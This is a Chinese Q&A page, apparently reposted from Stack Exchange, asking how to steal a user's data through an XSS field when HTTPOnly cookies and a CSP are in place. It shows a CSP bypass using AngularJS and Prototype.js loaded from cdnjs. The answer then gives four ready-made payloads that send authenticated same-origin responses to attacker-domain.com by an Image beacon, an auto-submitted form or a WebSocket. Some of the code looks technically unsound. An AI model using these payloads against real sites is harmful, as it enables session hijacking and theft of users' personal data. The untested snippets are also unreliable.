You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

启用HTTPOnly与CSP时的XSS Cookie窃取:可行方法问询

问题

当目标站点启用HTTPOnly Cookie且配置了指定CSP规则时,攻击者拥有一个存在XSS漏洞的HTTP输入字段(如下方发帖表单的内容输入框),如何实现Cookie窃取?

给定表单代码:

<form action="/createThread?topic={{lcTopic}}" method="post" class="">
    <h2 class="text-muted">New Thread</h2>
    <hr>
    <div class="form-group">
      <label>Body</label>
      <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea>
    </div>
    <button type="submit" class="btn btn-primary">Create Thread</button>
    <button type="button" id="threadPreview" class="btn btn-default">Preview</button>
  </form>

服务器CSP规则配置:

.use(
helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: [
      "'self'",
      "cdnjs.cloudflare.com"
    ],
  },
})
)

攻击者已可通过注入如下代码绕过CSP:

<!DOCTYPE html>
<html>
<head>
 <title>XSS Demo</title>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT>
</head>
<body ng-app ng-csp>

 <div>
   <button ng-click="$on.curry.call().alert('xss')">Click Me! 
 </button>
    <div style="display:none;">
      {{$on.curry.call().alert('xss')}} 
     </div>
 </div>

 </body>
</html>

但由于HTTPOnly启用,常规alert(document.cookie)无法获取Cookie;尝试使用eval结合fetch的方法也因CSP限制'unsafe-eval'而失败。请问攻击者仅利用该输入字段、不修改服务器代码的情况下,还有哪些Cookie窃取方法?


可行的Cookie窃取方法

虽然无法直接读取HTTPOnly Cookie,但可以利用浏览器自动携带Cookie的特性,结合已绕过CSP的AngularJS/Prototype.js能力,通过窃取会话对应的敏感数据间接实现身份盗用,具体方法如下:

  • 利用AngularJS表达式发起同源请求外传敏感数据
    借助已加载的AngularJS,通过表达式调用$http发起同源请求(浏览器会自动携带HTTPOnly Cookie完成身份验证),获取目标站点返回的用户敏感数据(如个人信息、会话关联的身份标识),再通过Image标签将数据发送到攻击者控制的服务器:

    <div style="display:none;">
      {{$on.curry.call().$http.get('/profile').then(function(res){
        new Image().src='https://attacker-domain.com/steal?data='+encodeURIComponent(JSON.stringify(res.data))
      })}}
    </div>
    

    该方法无需eval,完全符合当前CSP规则(依赖已允许加载的AngularJS)。

  • 通过Prototype.js的Ajax能力获取数据并外传
    利用已加载的Prototype.js的Ajax.Request发起同源请求,获取身份验证后的响应数据,再通过创建Image对象将数据外传:

    <script>
      new Ajax.Request('/user-info', {
        onSuccess: function(response) {
          const img = new Image();
          img.src = 'https://attacker-domain.com/steal?data=' + encodeURIComponent(response.responseText);
        }
      });
    </script>
    

    Prototype.js在CSP允许的域名列表中,因此该代码可正常执行,且同源请求会自动携带HTTPOnly Cookie。

  • 构造自动提交表单外传会话数据
    构造一个隐藏表单,通过AngularJS表达式填充同源请求获取的敏感数据,再自动提交到攻击者服务器:

    <form action="https://attacker-domain.com/steal" method="POST" id="stealForm" style="display:none;">
      <input type="hidden" name="userData" value="{{$on.curry.call().$http.get('/session').then(res => res.data)}}">
    </form>
    <script>
      document.getElementById('stealForm').submit();
    </script>
    

    表单提交操作不受CSP限制,且通过同源请求拿到的会话关联数据可直接用于冒充用户身份。

  • 利用WebSocket传输敏感数据
    若浏览器支持WebSocket,可通过AngularJS表达式发起WebSocket连接到攻击者服务器,将同源请求获取的敏感数据实时传输:

    <div style="display:none;">
      {{$on.curry.call().$http.get('/profile').then(function(res){
        const ws = new WebSocket('wss://attacker-domain.com/ws');
        ws.onopen = () => ws.send(JSON.stringify(res.data));
      })}}
    </div>
    

    WebSocket传输无需依赖fetch或eval,且数据传输效率更高。


内容的提问来源于stack exchange,提问作者ZedORYasuo

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.25 08:23:36